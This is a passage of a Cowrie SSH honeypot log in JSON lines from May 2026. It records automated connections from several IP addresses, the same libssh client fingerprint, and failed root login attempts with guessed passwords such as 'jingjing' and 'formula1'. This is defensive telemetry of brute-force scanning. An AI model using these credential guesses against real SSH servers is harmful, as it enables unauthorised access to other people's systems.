","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:04.358046Z","src_ip":"69.49.246.176","session":"5b5e2199a193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv!@","message":"login attempt [root/zxcv!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:04.364700Z","src_ip":"103.96.74.162","session":"f47c757804cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!123456","message":"login attempt [root/!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:04.496677Z","src_ip":"69.49.246.176","session":"5b5e2199a193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:05.532489Z","src_ip":"69.49.246.176","session":"5b5e2199a193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:05.595104Z","src_ip":"103.96.74.162","session":"f47c757804cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":50528,"dst_ip":"10.17.0.5","dst_port":22,"session":"47fdabc68fa3","protocol":"ssh","message":"New connection: 103.243.24.124:50528 (10.17.0.5:22) [session: 47fdabc68fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:28.143930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:28.148866Z","src_ip":"103.243.24.124","session":"47fdabc68fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:28.358818Z","src_ip":"103.243.24.124","session":"47fdabc68fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"app","message":"login attempt [root/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:28.782449Z","src_ip":"103.243.24.124","session":"47fdabc68fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:29.996535Z","src_ip":"103.243.24.124","session":"47fdabc68fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":45832,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8606d64bcc0","protocol":"ssh","message":"New connection: 168.144.95.137:45832 (10.17.0.5:22) [session: b8606d64bcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:34.650712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:34.655973Z","src_ip":"168.144.95.137","session":"b8606d64bcc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:34.868264Z","src_ip":"168.144.95.137","session":"b8606d64bcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"immortall","message":"login attempt [root/immortall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:35.730253Z","src_ip":"168.144.95.137","session":"b8606d64bcc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:36.940996Z","src_ip":"168.144.95.137","session":"b8606d64bcc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":47022,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c4f18fc86c","protocol":"ssh","message":"New connection: 43.128.106.207:47022 (159.203.135.109:22) [session: 17c4f18fc86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:42.667998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:42.673346Z","src_ip":"43.128.106.207","session":"17c4f18fc86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:42.912075Z","src_ip":"43.128.106.207","session":"17c4f18fc86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jingjing","message":"login attempt [root/jingjing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:43.894774Z","src_ip":"43.128.106.207","session":"17c4f18fc86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:45.137332Z","src_ip":"43.128.106.207","session":"17c4f18fc86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":45758,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e41f684ffb4","protocol":"ssh","message":"New connection: 43.134.104.184:45758 (159.203.135.109:22) [session: 7e41f684ffb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:53.037138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:53.043453Z","src_ip":"43.134.104.184","session":"7e41f684ffb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:53.280616Z","src_ip":"43.134.104.184","session":"7e41f684ffb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jingjing","message":"login attempt [root/jingjing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:54.263113Z","src_ip":"43.134.104.184","session":"7e41f684ffb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":59624,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dfe73cb1c0a","protocol":"ssh","message":"New connection: 217.154.42.110:59624 (159.203.135.109:22) [session: 0dfe73cb1c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:54.710427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:54.716074Z","src_ip":"217.154.42.110","session":"0dfe73cb1c0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:54.796593Z","src_ip":"217.154.42.110","session":"0dfe73cb1c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tiptop","message":"login attempt [root/tiptop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:55.146724Z","src_ip":"217.154.42.110","session":"0dfe73cb1c0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:55.506854Z","src_ip":"43.134.104.184","session":"7e41f684ffb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:40:56.229938Z","src_ip":"217.154.42.110","session":"0dfe73cb1c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":36190,"dst_ip":"10.17.0.5","dst_port":22,"session":"48d74053589b","protocol":"ssh","message":"New connection: 185.40.30.168:36190 (10.17.0.5:22) [session: 48d74053589b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:00.074183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:00.084417Z","src_ip":"185.40.30.168","session":"48d74053589b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:00.238199Z","src_ip":"185.40.30.168","session":"48d74053589b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www-data","message":"login attempt [root/www-data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:00.857339Z","src_ip":"185.40.30.168","session":"48d74053589b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:01.987858Z","src_ip":"185.40.30.168","session":"48d74053589b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":35358,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce491c1829c2","protocol":"ssh","message":"New connection: 69.49.246.176:35358 (159.203.135.109:22) [session: ce491c1829c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:10.601071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:10.606278Z","src_ip":"69.49.246.176","session":"ce491c1829c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:10.632850Z","src_ip":"69.49.246.176","session":"ce491c1829c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s123456","message":"login attempt [root/s123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:10.779066Z","src_ip":"69.49.246.176","session":"ce491c1829c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:11.808637Z","src_ip":"69.49.246.176","session":"ce491c1829c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":49142,"dst_ip":"159.203.135.109","dst_port":22,"session":"d85cb44714f5","protocol":"ssh","message":"New connection: 43.134.112.237:49142 (159.203.135.109:22) [session: d85cb44714f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:11.859060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:11.864056Z","src_ip":"43.134.112.237","session":"d85cb44714f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:12.104558Z","src_ip":"43.134.112.237","session":"d85cb44714f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"formula1","message":"login attempt [root/formula1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:13.085953Z","src_ip":"43.134.112.237","session":"d85cb44714f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:14.326569Z","src_ip":"43.134.112.237","session":"d85cb44714f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":57298,"dst_ip":"10.17.0.5","dst_port":22,"session":"30f312001b12","protocol":"ssh","message":"New connection: 103.96.74.162:57298 (10.17.0.5:22) [session: 30f312001b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:21.204420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:21.209263Z","src_ip":"103.96.74.162","session":"30f312001b12","protocol":"ssh"}
